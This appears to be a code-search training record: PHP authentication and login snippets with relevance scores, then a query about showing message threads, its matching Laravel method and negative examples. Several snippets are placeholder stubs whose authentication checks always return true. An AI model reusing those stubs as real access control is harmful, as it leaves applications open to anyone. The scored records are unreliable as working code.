"public function testCanLogIn() {\n $this->session->visit($this->baseUrl);\n $page = $this->session->getPage();\n\n // log in\n $form = $page->find('css', '#login');\n $form->fillField('username', 'testuser');\n $form->fillField('password', 'testpassword');\n\n $this->assertInstanceOf(NodeElement::Class, $form, 'Unable to locate login form');\n\n $form->submit();\n\n // check if we're logged in (should contain a h1)\n $this->assertInstanceOf(\n NodeElement::Class,\n $page->find('css', 'h1'),\n 'page should have a h1 when logged in (is the test user in the db?)'\n );\n\n // reload page\n $this->session->visit($this->baseUrl);\n $page = $this->session->getPage();\n\n // Check that we are still logged in\n $this->assertInstanceOf(\n NodeElement::Class,\n $page->find('css', 'h1'),\n 'Logged out after reload'\n );\n\n }",
"public function authUser(){\n if(!isset($this->sessionBool) || empty($this->sessionBool)){\n die($this->alerts->ACCESS_DENIED);\n }else{\n if(!$this->sessionBool){\n die($this->alerts->ACCESS_DENIED);\n }\n } \n }",
"abstract protected function isUserLoggedIn() ;",
"public function tests_if_user_can_login()\n {\n $this->visit('/')\n ->see('Login')\n ->click('Login')\n\n ->type('[email protected]', 'email')\n ->type('secret', 'password')\n ->press('Sign in')\n\n ->seePageIs('/backend')\n ->see('Welcome to SocietyCMS');\n }",
"public function isAuthenticated()\r\n {\r\n return true; \r\n }",
"public function test_it_must_be_authenticated_user()\n {\n $this->json('post' , 'api/orders')->assertStatus(401);\n }",
"abstract protected function auth();",
"public function use_authentication()\n {\n }",
"public function checkUser()\n {\n $response = $this->di->get(\"response\");\n $user = $this->di->get(\"user\");\n\n if (!$user->isLoggedIn()) {\n $response->redirect(\"login\");\n }\n }",
"public function isAuthenticated();",
"public function isAuthenticated();",
"public function isAuthenticated();",
"public function isAuthenticated();",
"public function testValidUserLogin()\n {\n $this->withoutExceptionHandling();\n\n //Create test user from factory\n User::factory(1)->create();\n\n $credentials = [\n \"email\" => \"[email protected]\",\n \"password\" => \"1234\",\n ];\n\n $response = $this->post(route(\"login.attempt\"),$credentials);\n\n $response->assertRedirect(route(\"account.dashboard\"));\n }",
"public function testCanLoginValidUser()\n {\n $user = factory(User::class)->create();\n $user->activate();\n \n $this->post('/api/v1/login', [\n 'email' => $user->email,\n 'password' => 'secret',\n ], ['HTTP_X-Requested-With' => 'XMLHttpRequest'])\n ->assertJsonStructure([\n 'token'\n ]);\n \n $this->get('/api/v1/me', ['HTTP_X-Requested-With' => 'XMLHttpRequest'])\n ->assertJson([\"user\" => ['email' => $user->email]]);\n }",
"public function testLogin(){\n Session::flush();\n $user = $this->postuser();\n\n $this->assertTrue(Auth::user()->username == $user['username']);\n }",
"protected function _initAuth()\n {\n $dm = Registry::getInstance()->get('dm');\n $user = $dm->getRepository('Domain\\User\\Entity\\User')->find('4de999713eecad69a02e4145');\n \n // Simulate logged in User.\n Registry::getInstance()->set('user', $user);\n }",
"public function testTryToAccessForgotPasswordPageAsLoggedInUser() {\n\t\t$user = factory(User::class)->create();\n\n\t\t$response = $this\n\t\t\t->actingAs($user)\n\t\t\t->get('/password/reset');\n\n\t\t$response->assertStatus(302);\n\t}",
"public function youMustBeLoggedIn()\n {\n // Arrange...\n $lecture = factory(Lecture::class)->make();\n\n // Act...\n $this->json('post', 'lectures', $lecture->toArray());\n\n // Assert...\n $this->seeError('unauthenticated', Response::HTTP_UNAUTHORIZED);\n }",
"public function testAuth()\n {\n $user = factory(User::class)->create();\n $this->browse(function ($first, $second, $third) use ($user) {\n // prompted to log in\n $first->visit(new AdminPage)\n ->assertRouteIs('login');\n\n // successfully login\n $second->loginAs($user)\n ->visit(new AdminPage)\n ->assertRouteIs('admin')\n ->assertSee('Dashboard')\n ->assertSee($user->name);\n\n // successfully logout\n $third->loginAs($user)\n ->visit(new AdminPage)\n ->click('@profile-toggle')\n ->click('@logout-link')\n ->assertRouteIs('login');\n });\n }",
"public function testUserCanLogin()\n {\n $user = User::factory()->create();\n\n $data = [\n 'email' => $user->email,\n 'password' => 'password'\n ];\n $response = $this->postJson('/api/login', $data);\n\n $response\n ->assertStatus(200)\n ->assertJson([\n 'success' => true\n ]);\n }",
"public function isAuthenticated(): bool {\n return true;\n }",
"public function testUserCanAuthenticate()\n {\n $password = 'test';\n\n $user = User::factory()->create([\n 'password' => bcrypt($password)\n ]);\n\n $response = $this->json('POST', '/api/v1/login', [\n 'email' => $user->email,\n 'password' => $password\n ]);\n\n $response->assertStatus(200);\n }",
"public function test_example()\n {\n $user = User::factory()->create();\n\n $response = $this->actingAs($user)\n ->withSession(['banned' => false])\n ->post('/nova/login', ['email' => $user->email, 'password' => $user->password]);\n\n $response->assertStatus(302);\n\n }",
"public function testLogin()\n\t{\n\t\t// Set up parameters.\n\t\t$user = array(\n\t\t\t'email' => '[email protected]', \n\t\t\t'password' => 'Welkom01'\n\t\t);\n\n\t\t// Check if this user can login.\n\t\t$this->assertTrue(Auth::attempt($user));\n\t}",
"public function isBackendUserLoggedIn() {}",
"private function _logged_in()\n {\n /*if(someone is logged in)\n RETURN TRUE;*/\n }",
"function is_authenticated()\n{\n global $app;\n return (is_object($app->auth) && $app->auth->isValid());\n}",
"function auth_isLoggedIn()\n{\n return ! auth_isAnonymous();\n}",
"function testSimpleLoginRequest() {\n $Record = $this->RecordObj->create(array('active'=>1));\n $this->AuthwellUser->create();\n $this->assertTrue($this->AuthwellUser->save($Record));\n #debug($this->AuthwellUser->invalidFields());\n\n // then call\n $FormData = array(\n 'AuthwellUser' => array(\n 'email_login' => $Record['email'],\n 'password_login' => $Record['password']\n )\n );\n\n $is_logged_in = $this->AuthwellUser->is_valid_login_request($FormData);\n $Cache = $this->AuthwellUser->UserDataCache;\n\n $this->assertTrue($is_logged_in);\n $this->assertEqual($Cache['User']['email'], $Record['email']);\n }",
"public function testCorrectLogin()\n {\n $email = $this->faker->email;\n $password = str_random(8);\n factory(\\App\\Models\\User::class)->create([\n 'email' => $email,\n 'password' => app('hash')->make($password)\n ]);\n $this->json('post', 'api/auth/login', [\n 'email' => $email,\n 'password' => $password\n ])\n ->assertResponseOk();\n }",
"public function testUserLogin()\n {\n $response = $this->get('/login')\n ->assertStatus(200)\n ->assertSee('Login');\n }",
"function isLoggedIn(){\n return $this->auth->isLoggedIn();\n }",
"public function isLoggedIn();",
"public function isLoggedIn();",
"public function testLogin()\n {\n $user = User::factory()->create();\n\n $baseUrl = Config::get('app.url') . '/api/auth/login';\n\n $response = $this->json('POST', $baseUrl . '/', [\n 'email' => $user->email,\n 'password' => 'password'\n ]);\n\n $response\n ->assertStatus(200)\n ->assertJsonStructure([\n 'access_token', 'token_type', 'expires_in'\n ]);\n }",
"public function isLoggedIn()\n {\n return true;\n }",
"public function loggedin() {\n if (!Auth::check()) {\n // If not then return false\n return response(['success' => false, 'loggedin' => false], 400);\n } else {\n // If so then return true as we still have a valid session cookie\n return response(['success' => true, 'loggedin' => true, 'data' => Auth::user()], 200);\n }\n }",
"function isAuthenticated(){\n return Session::has('SESSION_USER_NAME') ? true:false;\n}",
"public function isAuthenticated(): bool;",
"public function isAuthenticated(): bool;",
"public function test_making_sure_that_get_requests_redirects_to_login_if_user_is_not_authenticated(){\n $response = $this->get('/home');\n $response->assertRedirect('/login');\n }",
"public function doAuthentication();",
"function isLoggedIn()\n{\n\treturn auth()->check();\n}",
"public function checkAuthentication() {}",
"public function isAuthenticated() {\n\t}",
"public function testGetLoggedInUser()\n {\n $user = new User(\"[email protected]\", \"Some User\", \"asdf\", \"student\");\n $user->insert();\n\n unset($_SESSION[\"user_id\"]);\n\n $this->assertNull(User::loggedIn());\n\n $_SESSION[\"user_id\"] = $user->getId();\n\n $this->assertInstanceOf(User::class, User::loggedIn());\n }",
"function auth_only() {\n if (!Auth::user()) {\n redirect('home/login');\n }\n}",
"public function auth_user()\n {\n //echo $this->id;\n //echo $this->username. ' is authenticated';\n }",
"public function testUserLogin()\n {\n $this->visit('/login')\n ->type('[email protected]', 'email')\n ->type('secret', 'password')\n ->press('Login')\n ->seePageIs('/dashboard');\n }",
"public function testGetSingleUserPageWithoutAuth()\n\t{\n\t\t$response = $this->call('orchestra::users@view', array(1));\n\t\t\n\t\t$this->assertInstanceOf('Laravel\\Redirect', $response);\t\n\t\t$this->assertEquals(302, $response->foundation->getStatusCode());\n\t\t$this->assertEquals(handles('orchestra::login'), \n\t\t\t$response->foundation->headers->get('location'));\n\t}",
"public function isUserAuthenticated () : bool {\n return $this->mainController->isUserAuthenticated();\n }",
"public function signInAction()\n {\n $userData = $this->manager->findOneBy(['username' => $this->httpParameters['login']]);\n\n //If no user were found, redirects\n if(empty($userData))\n {\n $this->response->redirect('/auth',HttpResponse::WRONG_LOGIN);\n }\n\n //Instantiates the user\n $user = new User($userData);\n\n //Checks if typed password matches user's password\n if($this->passwordMatch($this->httpParameters['loginPassword'],$user,'/auth'))\n {\n //Sets the user instance as a the new $_SESSION['user']\n $_SESSION['user'] = $user;\n\n $this->response->redirect('/admin');\n }\n }",
"public function testAdminLogin()\n {\n // Guest\n $response = $this\n ->get('/administrator');\n\n $response->assertRedirect('/logowanie');\n\n // Normal user\n $user = User::where('admin', 0)->first();\n\n $response = $this\n ->actingAs($user)\n ->withSession(['foo' => 'bar'])\n ->get('/administrator');\n\n $response->assertRedirect('/');\n\n // Admin user\n $user = User::where('admin', 1)->first();\n\n $response = $this\n ->actingAs($user)\n ->withSession(['foo' => 'bar'])\n ->get('/administrator');\n\n $response->assertStatus(200);\n }",
"function authenticated() {\n return $_SESSION['auth'] == md5(config('security.password.hash') . $_SESSION['user']['id']);\n}",
"public function loginUser()\n {\n\n $user = factory(User::class)->create();\n\n return Auth::login($user, true);\n\n\n }",
"private function login(){\n \n }",
"function getUserIsLoggedIn() {\r\n\r\n // For now, just return false\r\n return false;\r\n}",
"function userLoggedIn()\n{\n\tif(Auth::check()) {\n\t\t// Log::info('');\n\t\theader('Location: /users/account?id=' . Auth::id() );\n\t\tdie();\n\t}\n}",
"public function testRequiredAuthentication()\n {\n $response = $this->get('/');\n\n $response->assertStatus(Response::HTTP_FOUND);\n $response->assertRedirect(route('auth.login'));\n }",
"public function testUserCanLoginWithCorrectCredential()\n {\n $password = 'boss';\n \n $user = factory(User::class)->create();\n $login = factory(Login::class)->create([\n 'password' => bcrypt($password),\n 'user_id' => $user->id,\n ]);\n\n $response = $this->from('/login')->post(route('login'), [\n 'email' => $login->email,\n 'password' => $password,\n ]);\n\n $response->assertRedirect('/');\n $this->assertAuthenticated();\n }",
"public function test_logged_in_user_show_info()\n {\n $user=User::factory()->create();\n //behavior as this created user\n $response=$this->actingAs($user)->get(route('auth.user'));\n\n $response->assertStatus(Response::HTTP_OK);\n }",
"public function login();",
"public function login();",
"public function isLoginRequired()\r\n\t{\r\n\t\treturn true;\r\n\t}",
"public function testLoginButLogin(){\n $user = User::find(1);\n $this->be($user);\n\n $response =$this->get(route('login'));\n $response->assertRedirect(route('home'));\n }",
"private function checkLogin()\n {\n if ($this->verifySession()) {\n $this->userId = $this->session['id'];\n }\n if ($this->userId === 0) {\n if ($this->verifyCookie()) {\n $this->userId = $this->cookie['userid'];\n $this->createSession();\n }\n }\n }",
"public function testIcanLogin()\n {\n $this->login('[email protected]', 'TaylorSwiftE>')\n ->seePageIs('/welcome')\n ->see('Dashboard');\n }",
"private function check_the_login(){\n \n if(isset($_SESSION['login_user'])){\n \n $this->login_user = $_SESSION['login_user'];\n $this->signed_in = true;\n \n }else{\n unset($this->login_user);\n $this->signed_in = false;\n }\n \n }",
"public function auth()\n {\n\n if (Auth::attempt(['email' => $this->request->header('email'), 'password' => $this->request->header('password')])) {\n $this->user = Auth::user();\n\n } else {\n echo json_encode(['error' => 'Unauthorised']);\n die();\n }\n }",
"public function test_basic_user_auth()\n {\n // User 2 has permission to do a couple things.\n $user = User::find(2);\n $this->assertTrue($user->hasRole(Role::getByName('Administrator')));\n\n // The models we'll test.\n $page = Page::find(1);\n\n $this->assertTrue($user->can('view', $page));\n $this->assertFalse($user->can('delete', $page));\n\n // User model is a managed class. The user doesn't have the manage permission.\n // So, They shouldn't be able to edit a user that doesn't belong to them.\n $testUser = User::find(1);\n $this->assertFalse($user->can('edit', $testUser));\n\n // But they can edit themselves.\n $this->assertTrue($user->can('edit', $user));\n }",
"public function doLogin()\r\n {\r\n $input = Request::all();\r\n \r\n if (Auth::attempt(['username' => $input['email'], 'password' => $input['password'], 'deleted_at' => null, 'user_type' => 1]))\r\n {\r\n \r\n $user = Auth::user();\r\n Session::set('current_user_id',$user->id);\r\n return Redirect::intended('/dashboard');\r\n }\r\n else { \r\n Session::flash(\r\n 'systemMessages', ['error' => Lang::get('pages.login.errors.wrong_credentials')]\r\n );\r\n return Redirect::action('UserController@login')\r\n ->withInput(Request::except('password'));\r\n }\r\n }",
"public function testCanShowLogin()\n {\n $response = $this->get('/login');\n\n $response->assertStatus(200);\n }",
"public function test_default_login()\n {\n $data = ['email' => '[email protected]', 'password' => 'default'];\n\n $response = $this->post('/login', $data);\n\n $response->assertStatus(302);\n\n $response->assertRedirect('/home');\n }",
"public function checkLogin() {\n if (!$this->isLoggedIn()) {\n Router::getInstance()->redirect('login');\n }\n return $this->getCurrentUser();\n }",
"public static function currentUserTEST()\n {\n if (Auth::check()) {\n return Auth::user();\n } else {\n $user = User::find(Config::get('mrcore.wiki.anonymous'));\n Auth::login($user);\n Auth::user()->login();\n #return self::find(Config::get('mrcore.wiki.anonymous'));\n return Auth::user();\n }\n }",
"private function _isAuthenticated()\n\t{\n\t\treturn true;\n\t}",
"public function loggedIn()\n {\n if ($this->userId) {\n return true;\n } else {\n return false;\n }\n }",
"protected function _secure()\n {\n // user already logged in?\n if($this->current_user && $this->current_user->user_id) \n {\n return;\n }\n \n $this->_current_user();\n \n if(!$this->current_user || !$this->current_user->user_id)\n {\n redirect('user');\n }\n // user is logged in \n //$this->current_user_role = $this->current_user->role ;\n \n \n }",
"public function testAuthenticated()\n {\n $this->assertFalse($this->auth->authenticate(new ServerRequest(), $this->response));\n }",
"public static function sessionAndUserLoggedIn(){\n Verify::session();\n Verify::userLoggedIn();\n }",
"public function auth()\n {\n $email = $this->loginEntry->input('email');\n $password = $this->commonFunction->generateHash($this->loginEntry->input('pass'));\n \n $info = $this->userDetail->getDetail($email, $password);\n if (count($info) == 1) \n {\n $this->commonFunction->setSession($info->id, $info->user_name);\n return redirect('/dashboard'); \n } \n echo '<script language=\"javascript\">';\n echo 'alert(\"Username/Password does not match.\")';\n echo '</script>';\n return redirect('/login');\n }"
]
| [
"0.7598041",
"0.758052",
"0.74600786",
"0.74161595",
"0.74161595",
"0.7299108",
"0.7269031",
"0.72543555",
"0.72378665",
"0.7159487",
"0.7153252",
"0.7089591",
"0.7087701",
"0.7087373",
"0.70579404",
"0.7052399",
"0.70435476",
"0.7043304",
"0.70411295",
"0.7013915",
"0.6993688",
"0.69796515",
"0.69763166",
"0.6959474",
"0.6958961",
"0.69555956",
"0.69384617",
"0.6934754",
"0.69191444",
"0.69191444",
"0.69191444",
"0.69191444",
"0.6915566",
"0.6909337",
"0.69091827",
"0.6905498",
"0.6904808",
"0.689766",
"0.68950295",
"0.6891841",
"0.6866877",
"0.6841457",
"0.6840757",
"0.6833032",
"0.68231326",
"0.68071234",
"0.68005216",
"0.6797246",
"0.6793304",
"0.67906946",
"0.6790557",
"0.6783214",
"0.6782223",
"0.6782223",
"0.67784476",
"0.6768538",
"0.6764154",
"0.6736824",
"0.6719477",
"0.6719477",
"0.6714861",
"0.6713486",
"0.6710647",
"0.6704475",
"0.67027175",
"0.6697381",
"0.6694719",
"0.66847694",
"0.6681607",
"0.6669475",
"0.66670275",
"0.6656323",
"0.6650831",
"0.66507703",
"0.66495407",
"0.6649004",
"0.6648598",
"0.6645875",
"0.66411763",
"0.6640411",
"0.66351116",
"0.6626798",
"0.6626798",
"0.66249466",
"0.66061634",
"0.6598352",
"0.6593529",
"0.6585879",
"0.6585075",
"0.6575856",
"0.6570389",
"0.65562034",
"0.65510166",
"0.6547282",
"0.6545137",
"0.6542161",
"0.6538319",
"0.65307",
"0.6527744",
"0.6521632",
"0.6521535"
]
| 0.0 | -1 |
Show all of the message threads to the user | public function index()
{
$toSmeNiwas = 'SMENiwas';
$currentUserId = Auth::getUser()->id;
$currentUserName = Auth::getUser()->username;
$user = Auth::getUser();
if ($user->isAnalyst() || $user->isAdmin() || $user->isExecutive() || $user->isManagement()) {
$inbox = Participant::where('user_id', '=', $currentUserId)->orwhere('user_id', '=', '-1')->where('deleted_at', null)->latest('created_at')->get();
} else {
$inbox = Participant::where('user_id', '=', $currentUserId)->where('to_user_delete', '=', null)->where('deleted_at', null)->latest('created_at')->get();
}
$count = Participant::forUserWithNewMessages($currentUserId)->count();
return view('messenger.index', compact('threads', 'inbox', 'currentUserId', 'currentUserName', 'count', 'toSmeNiwas'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function messages(){\n $count = Auth::user()->newMessagesCount();\n $currentUserId = Auth::user()->id;\n // All threads that user is participating in\n $threads = Thread::forUser($currentUserId)->latest('updated_at')->get();\n\n return view('dashboard.messages', [\n 'heading' => 'Inbox',\n 'threads' => $threads,\n 'currentUserId' => $currentUserId,\n 'count' => $count\n ]);\n }",
"public function index()\n {\n // All threads that user is participating in\n $threads = Thread::forUser(Auth::id())->latest('updated_at')->get();\n foreach ($threads as $key => $thread) {\n $users = User::whereIn('id', $thread->participantsUserIds())->get();\n $senderAvatar = str_replace('storage/owner/', 'img/cache/small-avatar/', Storage::url($users[1]->avatar_name));\n $cafe = Cafe::where('owner_id', Owner::where('user_id', $users[0]->id)->first()->id)->first();\n $threads[$key]->cafeLogo = str_replace('storage/logo/', 'img/cache/small-logo/', Storage::url($cafe->logo_path));\n $threads[$key]->users = $users;\n $threads[$key]->senderAvatar = $senderAvatar;\n }\n return view('messenger.index', compact('threads'));\n }",
"public function threads()\n\t{\n\n\t\t// get sort type\n\n\n\t\t$query = Thread::where('parent_id', null)->with('user')->with('topic')->limit(20);\n\n\t\t$sort = get_string('sort', 'newest');\n\n\t\t$topic = get_int('topic', false);\n\n\t\tif($topic)\n\t\t\t$query->where('topic_id', $topic);\n\n\t\tThread::setOrder($query, $sort);\n\n\t\t$threads = $query->get();\n\n\t\t$topics = Topic::all();\n\n\t\treturn view('threads.index', compact('threads', 'sort', 'topics'));\n\t\n\t}",
"public function showMessages()\n {\n $messages = $this->getMessages();\n foreach ($messages as $message) {\n echo $message . \"\\n\";\n }\n }",
"public function index()\n {\n $threads = DB::table('thread')->get();\n\n return view ('threads.index') -> with ('threads', $threads );\n }",
"public function index()\n {\n $threads = Thread::forUser(Auth::user()->id)->orderBy('created_at', 'desc')->get();\n $data['statues'] = \"200 Ok\";\n $data['error'] = null;\n foreach ($threads as $thread) {\n $last_message = $thread->messages()->orderBy('created_at', 'desc')->get()[0]->body;\n $participants = $thread->participants()->get();\n\n foreach ($participants as $participant) {\n if (User::find($participant->user_id)->id != $thread->messages()->orderBy('created_at', 'desc')->get()[0]->user_id) {\n $thread['receiver'] = User::find($participant->user_id);\n }\n }\n $thread['last_message'] = $last_message;\n $thread['last_sender'] = User::find($thread->messages()->orderBy('created_at', 'desc')->get()[0]->user_id);\n }\n $data['data']['threads'] = $threads;\n return response()->json($data, 200);\n }",
"public function actionIndex()\n {\n $searchModel = new ThreadSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index()\n {\n $threads = Thread::with('user')->paginate(5);\n return view(\"threads.index\",compact('threads'));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('APiszczekDemoBundle:Thread')->findAll();\n\n return $this->render('APiszczekDemoBundle:Thread:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function index()\n {\n\n $threads = Thread::forUser(Auth::id())->with([\n 'users' => function ($query) {\n $query->select('avatar', 'name', 'agent_name');\n },\n 'messages' => function ($query) {\n $query->latest()->first();\n },\n ])\n ->groupBy('threads.id')\n ->latest('updated_at')\n ->paginate();\n\n $threads->getCollection()->transform(function ($value) {\n $value->isUnread = $value->isUnread(Auth::id());\n\n return $value;\n });\n\n\n return response()->json($threads);\n }",
"public function getThreads()\n {\n $user = request()->user();\n\n $messages = $user->threadsWithMessagesWithUsers($user->id)->get();\n\n /**\n * Returns unread messages given the userId.\n */\n //$messages = Message::unreadForUser($user->id)->get();\n\n return ThreadsResource::collection($messages);\n //return response()->json($messages);\n }",
"public function index()\n {\n $threads = Thread::all();\n $threads->load('posts', 'author');\n\n return view('threads.index', compact('threads'));\n }",
"public function show($id)\n {\n try {\n $thread = Thread::findOrFail($id);\n } catch (ModelNotFoundException $e) {\n Session::flash('error_message', 'The thread with ID: ' . $id . ' was not found.');\n return redirect()->route('messages');\n }\n\n $users = User::whereIn('id', $thread->participantsUserIds())->get();\n $senderAvatar = str_replace('storage/owner/', 'img/cache/small-avatar/', Storage::url($users[1]->avatar_name));\n $cafe = Cafe::where('owner_id', Owner::where('user_id', $users[0]->id)->first()->id)->first();\n $cafeLogo = str_replace('storage/logo/', 'img/cache/small-logo/', Storage::url($cafe->logo_path));\n $thread->markAsRead(Auth::id());\n $threads = Thread::forUser(Auth::id())->latest('updated_at')->get();\n foreach ($threads as $key => $list) {\n $usersThread = User::whereIn('id', $list->participantsUserIds())->get();\n $threads[$key]->users = $usersThread;\n $threads[$key]->senderAvatar = str_replace('storage/owner/', 'img/cache/small-avatar/', Storage::url($usersThread[1]->avatar_name));\n $cafe = Cafe::where('owner_id', Owner::where('user_id', $users[0]->id)->first()->id)->first();\n $threads[$key]->cafeLogo = str_replace('storage/logo/', 'img/cache/small-logo/', Storage::url($cafe->logo_path));\n }\n return view('messenger.index', compact('thread', 'users', 'cafeLogo', 'senderAvatar', 'threads'));\n }",
"public function actionThreadLog(ParameterBag $params)\n {\n $user = $this->assertViewableUser($params->user_id);\n $page = $this->filterPage($params->page) ?: 1;\n $perPage = $this->options()->discussionsPerPage;\n\n /** @var \\XF\\Repository\\Thread $repo */\n\t\t$repo = $this->repository('XF:Thread');\n /** @var \\XF\\Finder\\Thread $finder */\n $finder = $repo->findThreadsWithPostsByUser($user['user_id']);\n $threads = $this->filterThreads($finder, $user['user_id'], $page, $perPage);\n\n $viewParams = [\n 'user' => $user,\n 'threads' => $threads,\n 'page' => $page,\n 'perPage' => $perPage,\n 'total' => $finder->total(),\n 'checked' => $this->filter('threadlog', 'str')\n ];\n\n return $this->view('Shinka\\ThreadLog:View', 'shinka_threadlog_member_threadlog', $viewParams);\n }",
"public function index()\n {\n\n // All threads, ignore deleted/archived participants\n $threads = Thread::getAllLatest()->get();\n\n\n return response()->json($threads);\n }",
"function showThreadsObject()\n\t{\n\t\t$this->tpl->setRightContent($this->getRightColumnHTML());\n\t\t$this->getCenterColumnHTML();\n\t}",
"public function actionInbox(){\n $user_id = \\Yii::$app->user->getId();\n $user = Users::find()->where(['user_id'=>$user_id])->one();\n //$messages = Message::find()->where(['to_user'=>$user_id])->orderBy('datetimestamp DESC')->all();\n $sql = \"SELECT * FROM (SELECT * FROM message WHERE to_user = $user_id AND (status != 0 AND status != $user_id) ORDER BY datetimestamp DESC) msg GROUP BY msg.thread_id ORDER BY msg.datetimestamp DESC\";\n $messages = Message::findbySql($sql)->all();\n $sql = \"SELECT * FROM (SELECT * FROM message WHERE from_user = $user_id AND (status != 0 AND status != $user_id) ORDER BY datetimestamp DESC) msg GROUP BY msg.thread_id ORDER BY msg.datetimestamp DESC\";\n $sent = Message::findbySql($sql)->all();\n return $this->render('messages', ['user'=>$user, 'messages'=>$messages, 'sent'=>$sent]);\n }",
"function performThreadsActionObject()\n\t{\n\t\tglobal $lng, $ilUser, $ilAccess;\n\n\t\tunset($_SESSION['threads2move']);\n\t\tunset($_SESSION['forums_search_submitted']);\n\t\tunset($_SESSION['frm_topic_paste_expand']);\t\n\n\t\tif (is_array($_POST['thread_ids']))\n\t\t{\n\t\t\tif ($_POST['selected_cmd'] == 'move')\n\t\t\t{\n\t\t\t\tif ($ilAccess->checkAccess('moderate_frm', '', $_GET['ref_id']))\n\t\t\t\t{\n\t\t\t\t\t$_SESSION['threads2move'] = $_POST['thread_ids'];\n\t\t\t\t\t$this->moveThreadsObject();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if ($_POST['selected_cmd'] == 'enable_notifications' && $this->ilias->getSetting('forum_notification') != 0)\n\t\t\t{\n\t\t\t\tfor ($i = 0; $i < count($_POST['thread_ids']); $i++)\n\t\t\t\t{\n\t\t\t\t\t$tmp_obj = new ilForumTopic($_POST['thread_ids'][$i]);\n\t\t\t\t\t$tmp_obj->enableNotification($ilUser->getId());\n\t\t\t\t\tunset($tmp_obj);\n\t\t\t\t}\n\t\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t\telse if ($_POST['selected_cmd'] == 'disable_notifications' && $this->ilias->getSetting('forum_notification') != 0)\n\t\t\t{\n\n\t\t\t\tfor ($i = 0; $i < count($_POST['thread_ids']); $i++)\n\t\t\t\t{\n\n\t\t\t\t\t$tmp_obj = new ilForumTopic($_POST['thread_ids'][$i]);\n\t\t\t\t\t$tmp_obj->disableNotification($ilUser->getId());\n\t\t\t\t\tunset($tmp_obj);\n\t\t\t\t}\n\t\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t\telse if ($_POST['selected_cmd'] == 'close')\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif ($ilAccess->checkAccess('moderate_frm', '', $_GET['ref_id']))\n\t\t\t\t{\n\n\t\t\t\t\tfor ($i = 0; $i < count($_POST['thread_ids']); $i++)\n\t\t\t\t\t{\n\n\t\t\t\t\t\t$tmp_obj = new ilForumTopic($_POST['thread_ids'][$i]);\n\t\t\t\t\t\t$tmp_obj->close();\n\t\t\t\t\t\tunset($tmp_obj);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t\telse if ($_POST['selected_cmd'] == 'reopen')\n\t\t\t{\n\t\t\t\tif ($ilAccess->checkAccess('moderate_frm', '', $_GET['ref_id']))\n\t\t\t\t{\n\n\t\t\t\t\tfor ($i = 0; $i < count($_POST['thread_ids']); $i++)\n\t\t\t\t\t{\n\n\t\t\t\t\t\t$tmp_obj = new ilForumTopic($_POST['thread_ids'][$i]);\n\t\t\t\t\t\t$tmp_obj->reopen();\n\t\t\t\t\t\tunset($tmp_obj);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t\telse if ($_POST['selected_cmd'] == 'makesticky')\n\t\t\t{\n\t\t\t\tif ($ilAccess->checkAccess('moderate_frm', '', $_GET['ref_id']))\n\t\t\t\t{\n\n\t\t\t\t\tfor ($i = 0; $i < count($_POST['thread_ids']); $i++)\n\t\t\t\t\t{\n\t\t\t\t\t\t$tmp_obj = new ilForumTopic($_POST['thread_ids'][$i]);\n\t\t\t\t\t\t$tmp_obj->makeSticky();\n\t\t\t\t\t\tunset($tmp_obj);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t\telse if ($_POST['selected_cmd'] == 'unmakesticky')\n\t\t\t{\n\t\t\t\tif ($ilAccess->checkAccess('moderate_frm', '', $_GET['ref_id']))\n\t\t\t\t{\n\n\t\t\t\t\tfor ($i = 0; $i < count($_POST['thread_ids']); $i++)\n\t\t\t\t\t{\n\n\t\t\t\t\t\t$tmp_obj = new ilForumTopic($_POST['thread_ids'][$i]);\n\t\t\t\t\t\t$tmp_obj->unmakeSticky();\n\t\t\t\t\t\tunset($tmp_obj);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t\telse if($_POST['selected_cmd'] == 'editThread')\n\t\t\t{\n\t\t\t\tif ($ilAccess->checkAccess('moderate_frm', '', $_GET['ref_id']))\n\t\t\t\t{\n\t\t\t\t\t$count = count($_POST['thread_ids']);\n\t\t\t\t\tif($count != 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tilUtil::sendInfo($this->lng->txt('select_at_least_one_thread'), true);\n\t\t\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\tforeach($_POST['thread_ids'] as $thread_id);\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn $this->editThreadObject($thread_id);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\t\t\telse if ($_POST['selected_cmd'] == 'html')\n\t\t\t{\n\t\t\t\t$this->ctrl->setCmd('exportHTML');\n\t\t\t\t$this->ctrl->setCmdClass('ilForumExportGUI');\n\t\t\t\t$this->executeCommand();\n\t\t\t}\n\n\t\t\telse if ($_POST['selected_cmd'] == 'confirmDeleteThreads')\n\t\t\t{\n\t\t\t\treturn $this->confirmDeleteThreads();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tilUtil::sendInfo($this->lng->txt('topics_please_select_one_action'), true);\n\t\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t\t}\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\tilUtil::sendInfo($this->lng->txt('select_at_least_one_thread'), true);\n\t\t\t$this->ctrl->redirect($this, 'showThreads');\n\t\t}\n\t}",
